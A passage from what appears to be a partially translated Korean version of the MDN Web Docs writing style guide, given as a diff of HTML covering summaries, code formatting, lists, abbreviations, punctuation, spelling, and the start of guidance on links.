+<p>We'll discuss the former (providing the information the reader may need) here. To learn a little about ensuring that pages are properly classified and ranked by search engines, see the article <a href="https://wiki.developer.mozilla.org/en-US/docs/MDN/Contribute/Howto/Write_for_SEO">How to write for SEO on MDN</a>.</p>
+
+<p>The goal is to write pages that include all the information that readers may need without going on too long about it all. We have a few recommendations in this area.</p>
+
+<h4 id="Consider_your_audience">Consider your audience</h4>
+
+<p>Keep in mind that these are guidelines. Some of these tips may not apply in every case. Certainly keep your article's audience in mind. An article on advanced network techniques likely doesn't need to go into as much detail about basic networking concepts as the typical article on networking code, for instance.</p>
+
+<h4 id="Provide_a_useful_summary">Provide a useful summary</h4>
+
+<p>Make sure the article's summary—that is, the opening paragraph or paragraphs before the first heading—provides enough information for the reader to understand if the article is likely to be covering what they're interested in reading about.</p>
+
+<p>In guide or tutorial content, the summary should let the reader know what topics will be covered and what they're already expected to know, if anything. It should mention the technology, technologies, and/or APIs that are being documented or discussed, with links to those, and it should offer hints as to the situations in which the article's contents might be useful.</p>
+
+<h5 id="Example_Too_short!">Example: Too short!</h5>
+
+<p>This example of a summary is far too short. It leaves out too much information, such as what it means exactly to "stroke" text, where the text is drawn, and so forth.</p>
+
+<div class="example-bad"><strong><code>CanvasRenderingContext2D.strokeText()</code></strong> draws a string.</div>
+
+<h5 id="Example_Too_long!">Example: Too long!</h5>
+
+<p>Here, we've updated the summary, but now it's far too long. Too much detail is included, and the text gets far too much into other methods and properties.</p>
+
+<p>Instead, the summary should focus on the <code>strokeText()</code> method, and should refer to the appropriate guide where the other details are offered.</p>
+
+<div class="example-bad">
+<p>When called, the Canvas 2D API method <code><strong>CanvasRenderingContext2D.strokeText()</strong></code> strokes the characters in the specified string beginning at the coordinates specified, using the current pen color.In the terminology of computer graphics, "stroking" text means to draw the outlines of the glyphs in the string without filling in the contents of each character with color.</p>
+
+<p>The text is drawn using the context's current font as specified in the context's {{domxref("CanvasRenderingContext2D.font", "font")}} property.</p>
+
+<p>The placement of the text relative to the specified coordinates are determined by the context's <code>textAlign</code>, <code>textBaseline</code>, and <code>direction</code> properties. <code>textAlign</code> controls the placement of the string relative to the X coordinate specified; if the value is <code>"center"</code>, then the string is drawn starting at <code>x - (stringWidth / 2)</code>, placing the specified X-coordinate in the middle of the string. If the value is <code>"left"</code>, the string is drawn starting at the specified value of <code>x</code>. And if <code>textAlign</code> is <code>"right"</code>, the text is drawn such that it ends at the specified X-coordinate.</p>
+
+<p>(etc etc etc...)</p>
+
+<p>You can, optionally, provide a fourth parameter that lets you specify a maximum width for the string, in pixels. If you provide this parameter, the text is compressed horizontally or scaled (or otherwise adjusted) to fit inside a space that wide when being drawn.</p>
+
+<p>You can call the <strong><code>fillText()</code></strong> method to draw a string's characters as filled with color instead of only drawing the outlines of the characters.</p>
+</div>
+
+<h5 id="Example_Much_better!">Example: Much better!</h5>
+
+<p>Here we see a much better overview for the <code>strokeText()</code> method.</p>
+
+<div class="example-good">
+<p>The {{domxref("CanvasRenderingContext2D")}} method <code><strong>strokeText()</strong></code>, part of the <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Canvas_API">Canvas 2D API</a>, strokes—that is, draws the outlines of—the characters of a specified string, anchored at the position indicated by the given X and Y coordinates. The text is drawn using the context's current {{domxref("CanvasRenderingContext2D.font", "font")}}, and is justified and aligned according to the {{domxref("CanvasRenderingContext2D.textAlign", "textAlign")}}, {{domxref("CanvasRenderingContext2D.textBaseline", "textBaseline")}}, and {{domxref("CanvasRenderingContext2D.direction", "direction")}} properties.</p>
+
+<p>For more details and further examples, see {{SectionOnPage("/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics", "Text")}} in the Learning Area as well as our main article on the subject, <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Drawing_text">Drawing text</a>.</p>
+</div>
+
+<h4 id="Include_all_relevant_examples">Include all relevant examples</h4>
+
+<p>More pages should have examples than not. The majority of pages probably deserve multiple examples, in fact.</p>
+
+<p>It's important to ensure that you use examples to clarify what every parameter is used for, and to clarify any edge cases that may exist. You should also use examples to demonstrate solutions for common tasks, and you should use examples to demonstrate solutions to problems that may arise.</p>
+
+<p>Each example should be preceded by text explaining what the example does and anything the reader should know before beginning to read or try out the example.</p>
+
+<h5 id="Code_Examples">Code Examples</h5>
+
+<p>Each piece of code should include an explanation of how it works. Keep in mind that it may make sense to break up a large piece of code into smaller portions so they can be described individually.</p>
+
+<p>The text following each piece of code should explain anything relevant, using an appropriate level of detail.</p>
+
+<ul>
+ <li>If the code is very simple and doesn't really feature anything directly related to the API being documented, you may only give a quick summary of what it is and why it's there.</li>
+ <li>If the code is intricate, uses the API being documented, or is technically creative, you should provide a more detailed explanation.</li>
+</ul>
+
+<p>When using the live sample system, it's helpful to be aware that all of the {{HTMLElement("pre")}} blocks in the area that contains the sample are concatenated together before running the example, which lets you break any or all of the HTML, CSS, and JavaScript into multiple segments, each optionally with its own descriptions, headings, and so forth. This makes documenting code incredibly powerful and flexible.</p>
+
+<h4 id="Overly-short_articles_are_hard_to_find">Overly-short articles are hard to find</h4>
+
+<p>If an article is "thin"—that is, too short—it may not be indexed properly (or at all) by search engines. As a rule of thumb, the article's body text should be at least 250–300 words. Don't artificially inflate a page, but treat this guideline as a minimum target length when possible.</p>
+
+<h3 id="Sections_paragraphs_and_newlines">Sections, paragraphs, and newlines</h3>
+
+<p>Use heading levels in decreasing order: {{HTMLElement("h2")}} then {{HTMLElement("h3")}} then {{HTMLElement("h4")}}, without skipping levels.</p>
+
+<p>H2 is the highest level allowed because H1 is reserved for the page title. If you need more than three or four levels of headers, consider breaking up the article into several smaller articles with a landing page, and linking them together using the following macros: {{TemplateLink("Next")}}, {{TemplateLink("Previous")}}, and {{TemplateLink("PreviousNext")}}.</p>
+
+<h4 id="Heading_dos_and_donts">Heading dos and donts</h4>
+
+<ul>
+ <li>Don't create single subsections. Don't subdivide a topic into a single subtopic. It's either two subheadings or more, or none at all.</li>
+ <li>Don't use styles and classes within headings. This includes the {{HTMLElement("code")}} element for code terms. So don't make a heading "Using the <code>SuperAmazingThing</code> interface". It should instead just be "Using the SuperAmazingThing interface".</li>
+ <li>Avoid using macros within headings (except for certain macros that are specifically designed to be used in headings).</li>
+ <li>Don't create "bumping heads." These are headings followed immediately by a subheading, with no content text in between. This doesn't look good, and leaves readers without any explanatory text at the beginning of the outer section.</li>
+</ul>
+
+<p>The <kbd>Enter</kbd> (or <kbd>Return</kbd>) key on your keyboard starts a new paragraph. To insert a newline, rather than a new paragraph (that is, to create a {{HTMLElement("br")}} instead of a {{HTMLElement("p")}}), hold down the <kbd>Shift</kbd> key while pressing <kbd>Enter</kbd>.</p>
+
+<h3 id="Lists">Lists</h3>
+
+<p>Lists should be formatted and structured uniformly across all contributions. Individual list items should be written with suitable punctuation, regardless of the list format. However, depending on the type of list you are creating, you will want to adjust your writing as described in the sections below.</p>
+
+<h4 id="Bulleted_lists">Bulleted lists</h4>
+
+<p>Bulleted lists should be used to group related pieces of concise information. Each item in the list should follow a similar sentence structure. Phrases and sentences in bulleted lists should include standard punctuation. Periods must appear at the end of each sentence in a bulleted list, including the item's final sentence, just as would be expected in a paragraph.</p>
+
+<p>An example of a correctly structured bulleted list:</p>
+
+<div class="example-good">
+<p>In this example we should include:</p>
+
+<ul>
+ <li>A condition, with a brief explanation.</li>
+ <li>A similar condition, with a brief explanation.</li>
+ <li>Yet another condition, with some further explanation.</li>
+</ul>
+</div>
+
+<p>Note how the same sentence structure repeats from bullet to bullet. In this example, each bullet point states a condition followed by a comma and a brief explanation, and each item in the list ends with a period.</p>
+
+<h4 id="Numbered_lists">Numbered lists</h4>
+
+<p>Numbered lists are used primarily to enumerate steps in a set of instructions. Because instructions can be complex, clarity is a priority, especially if the text in each list item is lengthy. As with bulleted lists, follow standard punctuation usage.</p>
+
+<p>An example of a correctly structured numbered list:</p>
+
+<div class="example-good">
+<p>In order to correctly structure a numbered list, you should:</p>
+
+<ol>
+ <li>Open with a heading or brief paragraph to introduce the instructions. It's important to provide the user with context before beginning the instructions.</li>
+ <li>Start creating your instructions, and keep each step in its own numbered item. Your instructions may be quite extensive, so it is important to write clearly and use correct punctuation.</li>
+ <li>After you have finished your instructions, close off the numbered list with a brief summary or explanation of the expected outcome upon completion.</li>
+</ol>
+
+<p>This is an example of writing a closing explanation. We have created a short numbered list that provides instructive steps to produce a numbered list with the correct formatting.</p>
+</div>
+
+<p>Note how the items in numbered lists read like short paragraphs. Because numbered lists are routinely used for instructional purposes, or to walk someone through an orderly procedure, be sure to keep each item focused: one item per number or step.</p>
+
+<h3 id="Text_formatting_and_styles">Text formatting and styles</h3>
+
+<p>Use the <strong>"Formatting Styles"</strong> drop-down list to apply predefined styles to selected content.</p>
+
+<div class="blockIndicator note">
+<p>The <strong>"Note Box"</strong> style is used to call out important notes, like this one.</p>
+</div>
+
+<div class="blockIndicator warning">
+<p>Similarly, the <strong>"Warning Box"</strong> style creates warning boxes like this.</p>
+</div>
+
+<p>Unless specifically instructed to do so, <em>do not</em> use the HTML <code>style</code> attribute to manually style content. If you can't do it using a predefined class, ask for help in the <a href="https://discourse.mozilla.org/c/mdn">MDN discussion forum</a>.</p>
+
+<h3 id="Code_sample_style_and_formatting">Code sample style and formatting</h3>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: This section deals with the styling/formatting of code as it appears on an MDN article. If you want guidelines on actually writing code examples, see our <a href="https://wiki.developer.mozilla.org/en-US/docs/MDN/Contribute/Guidelines/Code_samples">Code sample guidelines</a>.</p>
+</div>
+
+<h4 id="Tabs_and_line_breaks">Tabs and line breaks</h4>
+
+<p>Use two spaces per tab in all code examples. Indent the code cleanly, with open-brace ("<code>{</code>") characters on the same line as the statement that opens the block. For example:</p>
+
+<pre class="notranslate">if (condition) {
+  /* handle the condition */
+} else {
+  /* handle the "else" case */
+}
+</pre>
+
+<p>Long lines shouldn't be allowed to stretch off horizontally to the extent that they require horizontal scrolling to read. Instead, break at natural breaking points. Some examples follow:</p>
+
+<pre class="notranslate">if (class.CONDITION || class.OTHER_CONDITION || class.SOME_OTHER_CONDITION
+       || class.YET_ANOTHER_CONDITION ) {
+  /* something */
+}
+
+var toolkitProfileService = Components.classes["@mozilla.org/toolkit/profile-service;1"]
+                           .createInstance(Components.interfaces.nsIToolkitProfileService);
+</pre>
+
+<h4 id="Inline_code_formatting">Inline code formatting</h4>
+
+<p>Use the "Code" button (labeled with two angle brackets "&lt;&gt;") to apply inline code-style formatting to function names, variable names, and method names. (This uses the {{HTMLElement("code")}} element). For example: "the <code>frenchText()</code> function".</p>
+
+<p>Method names should be followed by a pair of parentheses: <code>doSomethingUseful()</code>. The parentheses help differentiate methods from other code terms.</p>
+
+<h4 id="Syntax_highlighting">Syntax highlighting</h4>
+
+<p><img alt="Screenshot of the 'Syntax Highlighter' menu." src="https://mdn.mozillademos.org/files/12682/Language%20list.png" style="float: right;">Entire lines (or multiple lines) of code should be formatted using syntax highlighting rather than the {{HTMLElement("code")}} element. Select the appropriate language from the language list button (the one with the two code blocks), as seen in the screenshot to the right. This will insert a preformatted code box with line numbers and syntax highlighting for the chosen language.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> <em>Do not</em> use the {{HTMLElement("code")}} element inside the {{HTMLElement("pre")}} block!</p>
+
+<p>While this structure is used on some sites, we do not do so on MDN; nesting these elements will break certain aspects of our styling.</p>
+</div>
+
+<p>The following example shows text with JavaScript formatting:</p>
+
+<pre class="notranslate">for (let i = 0, j = 9; i &lt;= 9; i++, j--)
+  document.writeln("a[" + i + "][" + j + "]= " + a[i][j]);</pre>
+
+<p>If no appropriate language is available, use ("No Highlight" in the language menu). This will result in code without syntax highlighting:</p>
+
+<pre class="notranslate">x = 42;</pre>
+
+<h4 id="Syntax_definitions">Syntax definitions</h4>
+
+<p>When writing the syntax description section of a reference page, use the <em>"Syntax Box"</em> option in the <strong>"Styles"</strong> drop-down menu in the editor toolbar. This creates a specially-formatted box used specifically for syntax definitions, distinguishing them from other code blocks.</p>
+
+<h4 id="Blocks_not_referring_to_code">Blocks not referring to code</h4>
+
+<p>There are a few use cases where a <code>&lt;pre&gt;</code> block does not refer to code and doesn't have syntax highlighting nor line numbers. In such cases you should add a <code>&lt;pre&gt;</code> without a <code>class</code> attribute. Those cases include things like tree structures:</p>
+
+<pre class="notranslate">root/
+
+  folder1/
+    file1
+
+  folder2/
+    file2
+    file3
+</pre>
+
+<p>To create preformatted content without syntax highlighting and line numbers click the "pre" button in the toolbar. Then start to type the text.</p>
+
+<h4 id="Styling_mentions_of_HTML_elements">Styling mentions of HTML elements</h4>
+
+<p>There are specific rules to follow when writing about HTML elements. These rules produce consistent descriptions of elements and their components. They also ensure correct linking to detailed documentation.</p>
+
+<dl>
+ <dt>Element names</dt>
+ <dd>Use the {{TemplateLink("HTMLElement")}} macro, which creates a link to the page for that element. For example, writing \{{HTMLElement("title")}} produces "{{HTMLElement("title")}}". If you don't want to create a link, <strong>enclose the name in angle brackets</strong> and use the "Inline Code" style (e.g., <code>&lt;title&gt;</code>).</dd>
+ <dt>Attribute names</dt>
+ <dd>Use "Inline Code" style to put attribute names in <code>code font</code>. Additionally, put them in <strong><code>bold face</code></strong> when the attribute is mentioned in association with an explanation of what it does, or the first time it's used in the article.</dd>
+ <dt>Attribute definitions</dt>
+ <dd>Use the {{TemplateLink("htmlattrdef")}} macro (e.g., \{{htmlattrdef("type")}}) for the definition term, so that it can be linked to from other pages easily by simply using the {{TemplateLink("htmlattrxref")}} macro (e.g., \{{htmlattrxref("attr","element")}}) to reference attribute definitions.</dd>
+ <dt>Attribute values</dt>
+ <dd>Use the "Inline Code" style to apply <code>&lt;code&gt;</code> to attribute values, and don't use quotation marks around string values, unless needed by the syntax of a code sample.</dd>
+ <dd>For example: "When the <code>type</code> attribute of an <code>&lt;input&gt;</code> element is set to <code>email</code> or <code>tel</code> ..."</dd>
+</dl>
+
+<h3 id="Latin_abbreviations">Latin abbreviations</h3>
+
+<h4 id="In_notes_and_parentheses">In notes and parentheses</h4>
+
+<ul>
+ <li>Common Latin abbreviations (etc., i.e., e.g.) may be used in parenthetical expressions and notes. Use periods in these abbreviations, followed by a comma or other appropriate punctuation.
+  <ul>
+   <li><span class="correct"><strong>Correct</strong></span>: Web browsers (e.g., Firefox) can be used ...</li>
+   <li><span class="incorrect"><strong>Incorrect</strong></span>: Web browsers e.g. Firefox can be used ...</li>
+   <li><span class="incorrect"><strong>Incorrect</strong></span>: Web browsers, e.g. Firefox, can be used ...</li>
+   <li><span class="incorrect"><strong>Incorrect</strong></span>: Web browsers, (eg: Firefox) can be used ...</li>
+  </ul>
+ </li>
+</ul>
+
+<h4 id="In_running_text">In running text</h4>
+
+<ul>
+ <li>In regular text (i.e., text outside of notes or parentheses), use the English equivalent of the abbreviation.
+  <ul>
+   <li><span class="correct"><strong>Correct</strong></span>: ... web browsers, and so on.</li>
+   <li><span class="incorrect"><strong>Incorrect</strong></span>: ... web browsers, etc.</li>
+   <li><span class="correct"><strong>Correct</strong></span>: Web browsers such as Firefox can be used ...</li>
+   <li><span class="incorrect"><strong>Incorrect</strong></span>: Web browsers e.g. Firefox can be used ...</li>
+  </ul>
+ </li>
+</ul>
+
+<h4 id="Meanings_and_English_equivalents_of_Latin_abbreviations">Meanings and English equivalents of Latin abbreviations</h4>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Abbrev</th>
+   <th scope="col">Latin</th>
+   <th scope="col">English</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>cf.</td>
+   <td><em>confer</em></td>
+   <td>compare</td>
+  </tr>
+  <tr>
+   <td>e.g.</td>
+   <td><em>exempli gratia</em></td>
+   <td>for example</td>
+  </tr>
+  <tr>
+   <td>et al.</td>
+   <td><em>et alii</em></td>
+   <td>and others</td>
+  </tr>
+  <tr>
+   <td>etc.</td>
+   <td><em>et cetera</em></td>
+   <td>and so forth, and so on</td>
+  </tr>
+  <tr>
+   <td>i.e.</td>
+   <td><em>id est</em></td>
+   <td>that is, in other words</td>
+  </tr>
+  <tr>
+   <td>N.B.</td>
+   <td><em>nota bene</em></td>
+   <td>note well</td>
+  </tr>
+  <tr>
+   <td>P.S.</td>
+   <td><em>post scriptum</em></td>
+   <td>postscript</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="blockIndicator note">
+<p>Always consider whether it's truly beneficial to use a Latin abbreviation. Some of these are used so rarely that many readers won't understand the meaning, and others are often confused with one another.</p>
+
+<p>Also, be sure that <em>you</em> use them correctly, if you choose to do so. For example, be careful not to confuse "e.g." with "i.e.", which is a common error.</p>
+</div>
+
+<h3 id="Acronyms_and_abbreviations">Acronyms and abbreviations</h3>
+
+<h4 id="Capitalization_and_periods">Capitalization and periods</h4>
+
+<p>Use full capitals and delete periods in all acronyms and abbreviations, including organizations such as "US" and "UN".</p>
+
+<ul>
+ <li><strong>Correct</strong>: XUL</li>
+ <li><strong>Incorrect</strong>: X.U.L.; Xul</li>
+</ul>
+
+<h4 id="Expansion">Expansion</h4>
+
+<p>On the first mention of a term on a page, expand acronyms likely to be unfamiliar to users. When in doubt, expand it, or, better, link it to the article or <a href="https://wiki.developer.mozilla.org/en-US/docs/Glossary">glossary</a> entry describing the technology.</p>
+
+<ul>
+ <li><strong>Correct</strong>: "XUL (XML User Interface Language) is Mozilla's XML-based language..."</li>
+ <li><strong>Incorrect</strong>: "XUL is Mozilla's XML-based language..."</li>
+</ul>
+
+<h4 id="Plurals_of_acronyms_and_abbreviations">Plurals of acronyms and abbreviations</h4>
+
+<p>For plurals of acronyms or abbreviations, add <em>s</em>. Don't use an apostrophe. Ever. Please.</p>
+
+<ul>
+ <li><strong>Correct</strong>: CD-ROMs</li>
+ <li><strong>Incorrect</strong>: CD-ROM's</li>
+</ul>
+
+<h4 id="Versus_vs._and_v.">"Versus", "vs.", and "v."</h4>
+
+<p>The contraction "vs." is preferred.</p>
+
+<ul>
+ <li><strong>Correct</strong>: this vs. that</li>
+ <li><strong>Incorrect</strong>: this v. that</li>
+ <li><strong>Incorrect</strong>: this versus that</li>
+</ul>
+
+<h3 id="Capitalization">Capitalization</h3>
+
+<p>Use standard English capitalization rules in body text, and capitalize "World Wide Web." It is acceptable to use lower case for "web" (used alone or as a modifier) and "internet".</p>
+
+<div class="blockIndicator note">
+<p>This guideline is a change from a previous version of this guide, so you may find many instances of "Web" and "Internet" on MDN.</p>
+
+<p>Feel free to change these as you are making other changes, but editing an article just to change capitalization is not necessary.</p>
+</div>
+
+<p>Keyboard keys should use sentence-style capitalization, not all-caps capitalization. For example, "<kbd>Enter</kbd>" not "<kbd>ENTER</kbd>." The only exception is that if you wish to abbreviate the name of the "<kbd>Escape</kbd>" key, you may use "<kbd>ESC</kbd>".</p>
+
+<p>Certain words should always be capitalized (such as trademarks which include capital letters), or words derived from the name of a person (unless it's being used within code, and the rules of the language in which the code is written mandate lower-casing). Some examples:</p>
+
+<ul>
+ <li>Boolean (named for English mathematician and logician {{interwiki("wikipedia", "George Boole")}})</li>
+ <li>JavaScript (a trademark of Oracle Corporation, it should always be written as trademarked)</li>
+ <li>Python, TypeScript, Django, and other programming languages and framework names</li>
+</ul>
+
+<h3 id="Contractions">Contractions</h3>
+
+<p>Our writing style tends to be casual, so you should feel free to use contractions (e.g., "don't", "can't", "shouldn't"), if you prefer.</p>
+
+<h3 id="Pluralization">Pluralization</h3>
+
+<p>Use English-style plurals, not the Latin- or Greek-influenced forms.</p>
+
+<ul>
+ <li><strong>Correct</strong>: syllabuses, octopuses</li>
+ <li><strong>Incorrect</strong>: syllabi, octopi</li>
+</ul>
+
+<h3 id="Hyphenation">Hyphenation</h3>
+
+<p>Hyphenate compounds when the last letter of the prefix is a vowel and is the same as the first letter of the root.</p>
+
+<ul>
+ <li><font color="green"><strong>Correct</strong></font>: email, re-elect, co-op</li>
+ <li><font color="red"><strong>Incorrect</strong></font>: e-mail, reelect, coop</li>
+</ul>
+
+<h3 id="Gender-neutral_language">Gender-neutral language</h3>
+
+<p>It is a good idea to use gender-neutral language in any writing where gender is irrelevant to the subject matter, to make the text as inclusive as possible. So, for example, if you are talking about the actions of a specific man, usage of "he"/"his" is fine; but if the subject is a person of either gender, "he"/"his" isn't appropriate.<br>
+ <br>
+ Let's take the following example:</p>
+
+<blockquote>
+<p>A confirmation dialog appears, asking the user if he allows the Web page to make use of his Web cam.</p>
+</blockquote>
+
+<blockquote>
+<p>A confirmation dialog appears, asking the user if she allows the Web page to make use of her Web cam.</p>
+</blockquote>
+
+<p>Both versions are gender-specific. To fix this, use gender-neutral pronouns:</p>
+
+<blockquote>
+<p>A confirmation dialog appears, asking the user if they allow the Web page to make use of their Web cam.</p>
+</blockquote>
+
+<div class="blockIndicator note">
+<p>MDN allows the use of this very common syntax (which is controversial among usage authorities) to make up for the lack of a neutral gender in English.</p>
+
+<p>The use of the third-person plural as a gender neutral pronoun (that is, using "they," "them", "their," and "theirs") is an accepted practice, commonly known as "<a href="https://en.wikipedia.org/wiki/Singular_they">singular 'they.'</a>"</p>
+</div>
+
+<p>You can use both genders:</p>
+
+<blockquote>
+<p>A confirmation dialog appears, asking the user if he or she allows the web page to make use of his/her web cam.</p>
+</blockquote>
+
+<p>Making the users plural:</p>
+
+<blockquote>
+<p>A confirmation dialog appears, asking the users if they allow the web page to make use of their web cams.</p>
+</blockquote>
+
+<p>The best solution, of course, is to rewrite and eliminate the pronouns:</p>
+
+<blockquote>
+<p>A confirmation dialog appears, requesting the user's permission for web cam access.</p>
+</blockquote>
+
+<blockquote>
+<p>A confirmation dialog box appears, which asks the user for permission to use the web cam.</p>
+</blockquote>
+
+<p>The last way of dealing with the problem is arguably better. It is not only grammatically more correct, but removes some of the complexity associated with dealing with genders across different languages that may have wildly different gender rules. This solution can make translation easier for both readers and localizers.</p>
+
+<h3 id="Numbers_and_numerals">Numbers and numerals</h3>
+
+<h4 id="Dates">Dates</h4>
+
+<p>For dates (not including dates in code samples) use the format "January 1, 1990".</p>
+
+<ul>
+ <li><strong>Correct</strong>: February 24, 2006</li>
+ <li><strong>Incorrect</strong>: February 24th, 2006; 24 February, 2006; 24/02/2006</li>
+</ul>
+
+<p>Alternately, you can use the YYYY/MM/DD format.</p>
+
+<ul>
+ <li><strong>Correct</strong>: 2006/02/24</li>
+ <li><strong>Incorrect</strong>: 02/24/2006; 24/02/2006; 02/24/06</li>
+</ul>
+
+<h4 id="Decades">Decades</h4>
+
+<p>For decades, use the format "1990s". Don't use an apostrophe.</p>
+
+<ul>
+ <li><strong>Correct</strong>: 1990s</li>
+ <li><strong>Incorrect</strong>: 1990's</li>
+</ul>
+
+<h4 id="Plurals_of_numerals">Plurals of numerals</h4>
+
+<p>For plurals of numerals add "s". Don't use an apostrophe.</p>
+
+<ul>
+ <li><strong>Correct</strong>: 486s</li>
+ <li><strong>Incorrect</strong>: 486's</li>
+</ul>
+
+<h4 id="Commas">Commas</h4>
+
+<p>In running text, use commas only in five-digit and larger numbers.</p>
+
+<ul>
+ <li><strong>Correct</strong>: 4000; 54,000</li>
+ <li><strong>Incorrect</strong>: 4,000; 54000</li>
+</ul>
+
+<h3 id="Punctuation">Punctuation</h3>
+
+<h4 id="Serial_comma">Serial comma</h4>
+
+<p><strong>Use the serial comma</strong>. The serial (also known as "Oxford") comma is the comma that appears before the conjunction in a series of three or more items.</p>
+
+<ul>
+ <li><strong>Correct</strong>: I will travel on trains, planes, and automobiles.</li>
+ <li><strong>Incorrect</strong>: I will travel on trains, planes and automobiles.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p>This is in contrast to the <a href="https://www.mozilla.org/en-US/styleguide/" title="https://www.mozilla.org/en-US/styleguide/">One Mozilla style guide</a>, which specifies that the serial comma is not to be used. MDN is an exception to this rule.</p>
+</div>
+
+<h4 id="Apostrophes_and_quotation_marks">Apostrophes and quotation marks</h4>
+
+<p><strong>Do not use "curly" quotes and quotation marks.</strong> On MDN, we only use straight quotes and apostrophes.</p>
+
+<p>There are a couple of reasons for this.</p>
+
+<ol>
+ <li>We need to choose one or the other for consistency.</li>
+ <li>If curly quotes or apostrophes make their way into code snippets—even inline ones—readers may copy and paste them, expecting them to function (which they will not).</li>
+</ol>
+
+<ul>
+ <li><strong>Correct</strong>: Please don't use "curly quotes."</li>
+ <li><strong>Incorrect</strong>: Please don’t use “curly quotes.”</li>
+</ul>
+
+<h3 id="Spelling">Spelling</h3>
+
+<p>For words with variant spellings, always use their American English spelling.</p>
+
+<p>In general, use the first entry at <a href="http://www.dictionary.com/">Dictionary.com</a>, unless that entry is listed as a variant spelling or as being primarily used in a non-American form of English. For example, if you <a href="http://www.dictionary.com/browse/behaviour">look up "behaviour"</a>, you find the phrase "Chiefly British" followed by a link to the American standard form, "<a href="http://dictionary.reference.com/browse/behavior">behavior</a>". Do not use variant spellings.</p>
+
+<ul>
+ <li><strong>Correct</strong>: localize, behavior</li>
+ <li><strong>Incorrect</strong>: localise, behaviour</li>
+</ul>
+
+<h3 id="Terminology">Terminology</h3>
+
+<h4 id="HTML_elements">HTML elements</h4>
+
+<p>Use "elements" to refer to HTML and XML elements, rather than "tags". In addition, they should almost always be wrapped in "&lt;&gt;", and should be in the {{HTMLElement("code")}} style.</p>
+
+<p>When you reference a given element for the first time in a section, you should use the {{TemplateLink("HTMLElement")}} macro to create a link to the documentation for the element (unless you're writing within that element's reference document page).</p>
+
+<ul>
+ <li><strong>Correct</strong>: the {{HTMLElement("span")}} element</li>
+ <li><strong>Incorrect</strong>: the span tag</li>
+</ul>
+
+<h4 id="Parameters_vs._arguments">Parameters vs. arguments</h4>
+
+<p>The preferred term on MDN is <strong>parameters</strong>. Please avoid the term "arguments" for consistency whenever possible.</p>
+
+<h4 id="User_interface_actions">User interface actions</h4>
+
+<p>In task sequences, describe user interface actions using the imperative mood. Identify the user interface element by its label and type.</p>
+
+<ul>
+ <li><strong>Correct</strong>: Click the Edit button.</li>
+ <li><strong>Incorrect</strong>: Click Edit.</li>
+</ul>
+
+<h3 id="Voice">Voice</h3>
+
+<p>While the active voice is preferred, the passive voice is also acceptable, given the informal feel of our content. Try to be consistent, though.</p>
+
+<h2 id="위키_마크업과_사용법">위키 마크업과 사용법</h2>
+
+<h3 id="링크">링크</h3>
+
+<p>링크는 위키를 강력한 배움과 가르침의 도구로 만드는 데 큰 역할을 합니다. 아래에서 관련한 기본적 정보를 찾을 수 있지만, 에디터 가이드에 있는 <a href="https://wiki.developer.mozilla.org/ko/docs/MDN/Contribute/Editor/Links">MDN에서 링크를 생성하고 편집하기</a> 에서는 완전한 가이드를  볼 수 있습니다.</p>
+
+<p>우리는 당신이 문서간에 적절한 링크를 생성하도록 권장합니다; 링크는 콘덴츠 검색 용이성및 네비게이션을 개선하는데 도움을 주고, 구글과 같은 검색 엔진이 더 나은 검색결과를 제공하도록  중요한 콘텍스트를 제공 합니다. 모든 페이지는 단어나 구문에서 관련된 주제의 다른 페이지로 연결되는 좋은 링크집합을 가져야 합니다. 링크는 용어를 정의하거나 어떤 주제에 대한 상세하고 심화된 문서를 제공하는데에 모두 사용될 뿐만 아니라,  관련된 예제나 보다 관심이 갈만한 정보도 제공할 수도 있습니다.</p>
+
+<p>MDN내부의 문서(내부 링크)뿐만아니라 MDN 외부의 페이지(외부 링크)도 쉽게 링크를 걸 수 있습니다 .</p>
+
+<p>링크를 만드는 두 가지 방법이 있습니다:</p>
+
+<ul>
+ <li>에디터 툴바내의 링크 버튼을 이용하거나 <kbd>Ctrl</kbd>+<kbd>K</kbd> (맥에서는 <kbd>Cmd</kbd>+<kbd>K</kbd>)를 눌러서 명시적으로 링크를 성성합니다.</li>
+ <li>또는, MDN의 강력한 매크로 시스템을 이용하여 자동적으로 혹은 입력값 기반으로 링크를 생성할 수 있습니다.</li>
+</ul>
+
+<p>어떤 텍스트에 링크를 연결할 것인지에 대해, 몇가지 가이드라인을 소개합니다:</p>
+
+<ul>
+ <li><strong>필요한 링크를 생성할 매크로가 존재하는 모든 경우에, 매크로를 이용해도 됩니다. 꼭 이용해주세요.</strong> <a href="https://wiki.developer.mozilla.org/ko/docs/MDN/Contribute/Editor/Links#Using_link_macros">링크 생성에 매크로 사용하기</a> 는 올바로 링크를 생성하도록 도울 뿐만 아니라, 미래에 MDN에 이루어질 개선이 당신의 링크에 자동적으로 적용되도록 합니다. .</li>
+ <li><strong>API 이름에 대해서는, 문서에 쓰인 API 용어의 전체 문자열을 사용하세요.</strong> 가장 쉬운 방법은 당신에게 맞는 올바른 형식을 갖춘 링크를 구성하기에 <a href="https://wiki.developer.mozilla.org/ko/docs/MDN/Contribute/Editor/Links#Linking_to_documentation_for_APIs">적절한 매크로를 사용하는 것</a> 이다.</li>
+ <li>특정한 용어에 대해 논하거나 정의하는 페이지에 링크하기 위해, 링크 문자열에 용어의 이름만을 사용하세요; 그외의 추가적인 텍스트를 포함하지 마세요. 예를 들면:
+  <ul>
+   <li><span class="correct"><strong>바름</strong></span>: You can use <a href="https://wiki.developer.mozilla.org/ko/docs/Web/JavaScript">JavaScript</a> code to create dynamic applications on the Web.</li>
+   <li><span class="incorrect"><strong>틀림</strong></span>: You can use <a href="https://wiki.developer.mozilla.org/ko/docs/Web/JavaScript">JavaScript code</a> to create dynamic applications on the Web.</li>
+  </ul>
+ </li>
+ <li>반면에 , 약간 긴 문장에 유용한 링크를 추가할 때에는, 다음과 같이, 동작과 목적어만 포함하는 구문을 선택하도록 해보세요:
+  <ul>
